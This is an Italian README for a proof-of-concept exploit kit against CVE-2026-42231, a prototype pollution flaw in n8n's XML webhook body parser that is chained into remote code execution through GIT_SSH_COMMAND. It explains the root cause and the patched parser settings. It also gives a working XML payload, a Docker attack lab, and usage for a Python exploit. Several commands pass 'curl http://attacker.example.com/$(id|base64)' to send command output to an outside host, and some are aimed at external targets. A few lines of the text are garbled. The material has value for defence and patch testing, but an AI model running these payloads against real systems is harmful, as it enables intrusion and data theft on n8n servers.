
Proof-of-concept exploit per CVE-2026-42231, una vulnerabilità critica di prototype pollution nei webhook XML di n8n che porta all'esecuzione remota di codice. Include laboratorio Docker, PoC in Python e verificatore Node.js.
CVE: CVE-2026-42231
Gravità: Critica (CVSS 10.0)
Versioni interessate: n8n < 1.123.32 / < 2.17.4 / < 2.18.1
Corretta in: n8n 1.123.32 / 2.17.4 / 2.18.1
packages/cli/src/middlewares/body-parser.ts crea un singleton a livello di modulo del parser xml2js senza tagNameProcessors o attrNameProcessors. Questo consente a un attaccante di inviare un corpo webhook XML contenente un elemento <__proto__>.
xml2js 0.6.2 usa Object.defineProperty con un descrittore di dati per impostare le chiavi degli elementi sugli oggetti parsati. Poiché è sempre , avvolge il valore in un array e lo memorizza come — bypassando l'accessor che normalmente aggiornerebbe la catena del prototipo in modo sicuro.
'__proto__' in objtrueassignOrPush()[[Set]]La proprietà propria __proto__ sopravvive a JSON.stringify (eseguito quando n8n persiste i dati di esecuzione su SQLite/PostgreSQL), e dopo JSON.parse al ricaricamento, un successivo Object.assign(target, reloadedBody) reindirizza il prototipo di target all'oggetto controllato dall'attaccante.
Nei workflow che contengono anche un nodo Git che esegue un'operazione SSH, il prototipo inquinato espone un valore spawnOptions / GIT_SSH_COMMAND a simple-git's createInstanceConfig, consentendo l'esecuzione di comandi a livello di sistema operativo.
// packages/cli/src/middlewares/body-parser.ts (VULNERABILE — < 1.123.32)
const xmlParser = new XmlParser({
async: true,
normalize: true,
normalizeTags: true, // converte i tag in minuscolo — ma NON blocca __proto__
explicitArray: false,
// ← NESSUN tagNameProcessors
// ← NESSUN attrNameProcessors
});
Correzione (>= 1.123.32):
function sanitizeXmlName(name: string): string {
const unsafe = new Set(['__proto__', 'constructor', 'prototype']);
return unsafe.has(name) ? `sanitized_${name}` : name;
}
const xmlParser = new XmlParser({
async: true,
normalize: true,
normalizeTags: true,
explicitArray: false,
tagNameProcessors: [sanitizeXmlName],
attrNameProcessors: [sanitizeXmlName],
});
1. L'attaccante invia una POST XML a un trigger Webhook pubblico:
POST /webhook/<id> Content-Type: application/xml
<?xml version="1.0" encoding="UTF-8"?>
<root>
<__proto__>
<env GIT_SSH_COMMAND="attacker_cmd"/>
<spawnoptions><shell>true</shell></spawnoptions>
</__proto__>
</root>
2. Il body parser xml2js crea req.body.root dove '__proto__' è una
PROPRIETÀ DATI ENUMERABILE PROPRIA:
Object.getOwnPropertyDescriptor(req.body.root, '__proto__')
→ { value: [{}, {env: {$: {GIT_SSH_COMMAND: '...'}}, ...}],
enumerable: true, writable: true, configurable: true }
3. deepCopy() di n8n itera le chiavi proprie tramite for...in + hasOwnProp.
L'assegnazione clone['__proto__'] = deepCopy(attackerArray)
sostituisce silenziosamente il prototipo di clone tramite l'accessor [[Set]].
4. n8n serializza i dati di esecuzione nel DB:
JSON.stringify(body.root)
→ '{"__proto__":[{},{"env":...,"spawnoptions":...}],"data":"..."}'
La chiave __proto__ è inclusa perché è propria ed enumerabile.
Confermato nella tabella execution_data in SQLite.
5. Al ricaricamento, JSON.parse ricrea '__proto__' come proprietà dati propria
(oggetto semplice, senza avvolgimento in array).
Object.assign(gitOptions, reloadedBody)
reindirizza il prototipo di gitOptions all'oggetto controllato dall'attaccante.
6. Quando il nodo Git chiama simpleGit(gitOptions):
createInstanceConfig(gitOptions)
legge config.spawnOptions tramite la catena del prototipo → truthy →
spawnOptionsPlugin viene registrato.
Con GIT_SSH_COMMAND nell'oggetto env, git esegue il comando dell'attaccante
alla successiva operazione SSH.
normalizeTagsnormalizeTags: true converte in minuscolo tutti i nomi dei tag XML, quindi gli elementi figlio come <GIT_SSH_COMMAND> diventano git_ssh_command nell'oggetto parsato. Per preservare le maiuscole nei nomi delle variabili d'ambiente, usa attributi XML (i nomi degli attributi non vengono normalizzati da normalizeTags):
<env GIT_SSH_COMMAND="attacker_cmd"/>
chmod +x exploit.sh
./exploit.sh setup
Questo scarica n8nio/n8n:1.123.22 (ultima release interessata), costruisce l'immagine dell'attaccante, avvia il target vulnerabile su http://localhost:5678, crea e attiva automaticamente un workflow webhook, e salva l'URL del webhook in .webhook_state.
./exploit.sh setup
Output atteso (troncato):
[*] Download dell'immagine n8n vulnerabile (1.123.22) ...
[*] Costruzione dell'immagine dell'attaccante ...
[*] Avvio del target n8n vulnerabile ...
[*] Attesa che n8n diventi sano ...
[*] Creazione del workflow webhook (Webhook → nodo Code) ...
[+] Laboratorio pronto.
Esegui: ./exploit.sh demo # verifica la primitiva di pollution
./exploit.sh exploit # consegna tutti e tre i payload RCE
./exploit.sh demo
Il PoC invia un payload di verifica e mostra il body parsato rispedito dal workflow n8n. Un'istanza vulnerabile restituisce:
[+] HTTP 200
Risposta: {"step1_ownEnumerableProto":true,
"step1_descriptor":{"enumerable":true,
"value":"[{},{\"polluted\":\"GHSA-q5f4-99jv-pgg5-CONFERMATO\"}]"},
"step2_deepCopySimulated":true,
"step3_jsonRoundTripOwn":true,
"step3_jsonStr":"{\"__proto__\":[...],\"legit\":\"harmless-data\"}",
"step4_objectAssignPolluted":true, ...}
./exploit.sh exploit
# oppure con un comando personalizzato:
./exploit.sh exploit "curl http://attacker.example.com/\$(id|base64)"
Vengono consegnati tre payload complementari:
| Payload | Tecnica |
|---|---|
| A | Tag <__proto__> — GIT_SSH_COMMAND come attributo XML |
| B | Catena <constructor><prototype> |
| C | <__proto__> annidato con attributi env |
GIT_SSH_COMMAND iniettato se l'RCE è scattato."step4_objectAssignPolluted": true a conferma della catena.pip install -r requirements.txt
# Solo verifica — nessun nodo Git richiesto:
python3 poc_GHSA-q5f4-99jv-pgg5.py \
--target http://n8n.target.com \
--webhook-id <percorso-webhook> \
--demo
# Exploit completo — richiede workflow Webhook + Git/SSH:
python3 poc_GHSA-q5f4-99jv-pgg5.py \
--target http://n8n.target.com \
--webhook-id <percorso-webhook> \
--cmd 'curl http://attacker.example.com/$(id|base64)'
In alcune distribuzioni n8n registra il webhook come /webhook/<workflowId>/webhook/<percorso>. Se la forma breve /webhook/<percorso> restituisce 404, passa il prefisso workflow-ID come --target:
python3 poc_GHSA-q5f4-99jv-pgg5.py \
--target "http://n8n.target.com/webhook/<workflowId>" \
--webhook-id <percorso> \
--demo
Riproduce l'esatta configurazione del parser xml2js usata da n8n e attraversa tutte e quattro le fasi della catena:
cd /tmp/xml2js-test && npm install [email protected]
node /path/to/verify_GHSA-q5f4-99jv-pgg5.js
Output atteso su configurazione vulnerabile:
[STEP 1] VULNERABILE — '__proto__' è una proprietà dati enumerabile propria
descrittore: { value: '[Object.prototype, {"polluted":"CONFERMATO"}]',
enumerable: true, writable: true, configurable: true }
[STEP 1] Il parser corretto ha rinominato __proto__ in sanitized___proto__
[STEP 2] Prototipo deepCopy modificato → clone proto[1].polluted = "CONFERMATO"
[STEP 3] Dopo JSON round-trip + Object.assign → target.polluted = "undefined"
[ RCE ] Se target è usato come config simpleGit E il prototipo espone
es. { spawnOptions: { shell: true } }, git verrà avviato tramite una shell
[STEP 4] mockGitConfig.spawnOptions = {"shell":"/bin/bash"} (trovato tramite catena del prototipo)
[ RCE ] simpleGit chiamerebbe: spawnOptionsPlugin(config.spawnOptions)
══ RISULTATO: L'istanza usa configurazione xml2js VULNERABILE (nessun sanitizeXmlName) ══
# Costruisci l'immagine dell'attaccante
docker build -t n8n-proto-pollution-poc .
# Modalità demo (si collega alla rete del laboratorio condiviso)
docker run --rm --network ghsa-q5f4-99jv-pgg5_lab \
n8n-proto-pollution-poc \
--target http://n8n-vuln:5678/webhook/<workflowId> \
--webhook-id cve-2026-42231-poc \
--demo
# Exploit completo
docker run --rm --network ghsa-q5f4-99jv-pgg5_lab \
n8n-proto-pollution-poc \
--target http://n8n-vuln:5678/webhook/<workflowId> \
--webhook-id cve-2026-42231-poc \
--cmd 'curl http://attacker.example.com/$(id|base64)'
# Contro un target esterno (nessun flag di rete necessario)
docker run --rm n8n-proto-pollution-poc \
--target https://n8n.example.com \
--webhook-id <percorso> \
--demo
./exploit.sh clean
Ferma i container e rimuove i volumi (incluso il database SQLite).
| File | Descrizione |
|---|---|
poc_GHSA-q5f4-99jv-pgg5.py | PoC HTTP Python autonomo — tre varianti di payload XML, modalità --demo e --cmd |
verify_GHSA-q5f4-99jv-pgg5.js | Verificatore locale della catena in Node.js — attraversa tutte e 4 le fasi di sfruttamento senza istanza live |
Dockerfile | Immagine container dell'attaccante |
docker-compose.yml | Laboratorio completo: n8n vulnerabile + container attaccante |
exploit.sh | Script di supporto per setup, demo, exploit e pulizia |
requirements.txt | Dipendenze Python |